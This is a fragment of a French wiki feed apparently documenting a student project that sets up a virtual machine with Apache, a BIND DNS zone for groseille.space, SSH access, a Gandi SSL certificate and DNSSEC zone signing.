  xl console IMA5-GROSEILLE&lt;br /&gt;
pour accéder à la VM.&lt;br /&gt;
&lt;br /&gt;
==== Mise en place des services internet ====&lt;br /&gt;
&lt;br /&gt;
===== Serveur dns =====&lt;br /&gt;
&lt;br /&gt;
On installe notre outil de serveur web et de serveur de DNS&lt;br /&gt;
&lt;br /&gt;
  apt-get install apache2&lt;br /&gt;
  apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se place dans le dossier : /etc/bind et &lt;br /&gt;
on crée le fichier : db.groseille.space pour notre adresse ip (193.48.57.183)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:db.groseille.space.png|600px]]&lt;br /&gt;
&lt;br /&gt;
ps : Correction faite après coup : Ajout de la ligne :&lt;br /&gt;
&lt;br /&gt;
   	IN	NS	ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on spécifie notre zone dans le fichier named.conf.local&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Groseille_named.conf.local.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On redémarre le service pour appliquer les changements: &lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Et on configure le nom de dns sur le site de gandi.&lt;br /&gt;
Dans name servers :&lt;br /&gt;
&lt;br /&gt;
  DNS1 : ns.groseille.space&lt;br /&gt;
  DNS2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Dans Glue records:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Groseille_glue_records.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===== Serveur ssh =====&lt;br /&gt;
&lt;br /&gt;
Pour installer le service, nous installons tout d'abords le package openssh-server&lt;br /&gt;
&lt;br /&gt;
  apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Notre utilisateur est root. Il nous faut donc autoriser l'accès directement en root.&lt;br /&gt;
&lt;br /&gt;
  vim /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
et tapez ou décommentez:&lt;br /&gt;
&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
On peut donc maintenant se connecter en ssh à notre machine virtuelle en tapant:&lt;br /&gt;
&lt;br /&gt;
  ssh root@www.groseille.space&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation de site web par certificats =====&lt;br /&gt;
&lt;br /&gt;
Après avoir naviguer dans les pages de gandi pour sécuriser notre site web via ssl, gandi nous demande un fichier csr.&lt;br /&gt;
On le générera comme ceci:&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha1 -keyout groseille.space.key -out groseille.space.csr&lt;br /&gt;
&lt;br /&gt;
On remplira par la suite les informations ci-dessous:&lt;br /&gt;
&lt;br /&gt;
  Country Name (2 letter code) [AU]:FR&lt;br /&gt;
  State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
  Locality Name (eg, city) []:Villeneuve d'ascq&lt;br /&gt;
  Organization Name (eg, company) [Internet Widgits Pty Ltd]:groseille.space&lt;br /&gt;
  Organizational Unit Name (eg, section) []:groseille.space&lt;br /&gt;
  Common Name (e.g. server FQDN or YOUR name) []:groseille.space&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En choisissant la troisième option, gandi nous demandait de mettre un fichier à la racine.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Gandi_3options.png|300px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons donc téléchargé le fichier et collé dans : &lt;br /&gt;
&lt;br /&gt;
  var/www/www.groseille.space/.well-known/pki-validation/DE2B588C8156976B90DB59420093DEDC.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seulement, notre site n'était uniquement accessible en www.groseille.space mais pas sans les www.&lt;br /&gt;
Après recherches, nous avons donc rajouter une ligne au fichier db.groseille.space dans bind:&lt;br /&gt;
&lt;br /&gt;
  @       IN      A       193.48.57.183&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre demande de certificat est toujours en train d'être exécuté.&lt;br /&gt;
Cependant, une fois que tout sera validé par gandi, nous nous occuperons des fichier .crt, .pem, .key associés:&lt;br /&gt;
&lt;br /&gt;
  cp groseille.space.key /etc/ssl/private/.&lt;br /&gt;
  cp GandiStandardSSLCA2.pem /etc/ssl/certs/. &lt;br /&gt;
  cp groseille.space.crt /etc/ssl/certs/.&lt;br /&gt;
&lt;br /&gt;
  c_rehash /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
On modifiera /etc/apache2/sites-available/000-groseille.space-ssl.conf&lt;br /&gt;
&lt;br /&gt;
[[Fichier:GroseilleApache.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On écrira dans ports.conf de apache :&lt;br /&gt;
&lt;br /&gt;
   Listen 80 443&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
           Listen 443&lt;br /&gt;
   &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On activera le module SSL de Apache et notre site avec ces commandes:&lt;br /&gt;
&lt;br /&gt;
   a2enmod ssl&lt;br /&gt;
   a2ensite 000-groseille.space-ssl.conf&lt;br /&gt;
   service apache2 reload&lt;br /&gt;
&lt;br /&gt;
===== Sécurisation de site web par dnssec =====&lt;br /&gt;
&lt;br /&gt;
On cherchera à sécuriser notre serveur DNS en signant la zone correspondant à notre nom de domaine.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier : named.conf.options on ajoutera l'option:&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
On créera le répertoire groseille.space.dnssec pour y générer les clefs.&lt;br /&gt;
&lt;br /&gt;
Dedans, on créera aussi la clef asymétrique de la zone pour signer les enregistrements.&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE groseille.space&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE groseille.space&lt;br /&gt;
&lt;br /&gt;
On les renommera pour avoir : &lt;br /&gt;
&lt;br /&gt;
  groseille.space-ksk.key&lt;br /&gt;
  groseille.space-ksk.private&lt;br /&gt;
  groseille.space-zsk.key&lt;br /&gt;
  groseille.space-zsk.private&lt;br /&gt;
&lt;br /&gt;
On modifiera le fichier /etc/bind/db.groseille.space comme ceci : &lt;br /&gt;
  &lt;br /&gt;
  $include /etc/bind/groseille.space.dnssec/groseille.space-ksk.key&lt;br /&gt;
  $include /etc/bind/groseille.space.dnssec/groseille.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Signature des enregistrements de zone (dans /etc/bind/groseille.space.dnssec)&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o groseille.space -k groseille.space-ksk ../db.groseille.space groseille.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie pour finir le fichier named.conf.local pour avoir db.groseille.space.signed&lt;br /&gt;
&lt;br /&gt;
Après avoir enregistrer le record sur gandi, on attend que gandi prenne en compte les nouvelles configurations.&lt;br /&gt;
On pourra vérifier les modifications grâce aux commandes:&lt;br /&gt;
&lt;br /&gt;
  grep 217.70.177.40 /var/log/daemon.log&lt;br /&gt;
  host -t any groseille.space ns6.gandi.net&lt;br /&gt;
  for f in /var/log/apache2/access.log.*gz ; do zcat $f | grep -i well ; done&lt;/div&gt;</summary>
		<author><name>Bhagui</name></author>	</entry>

	</feed>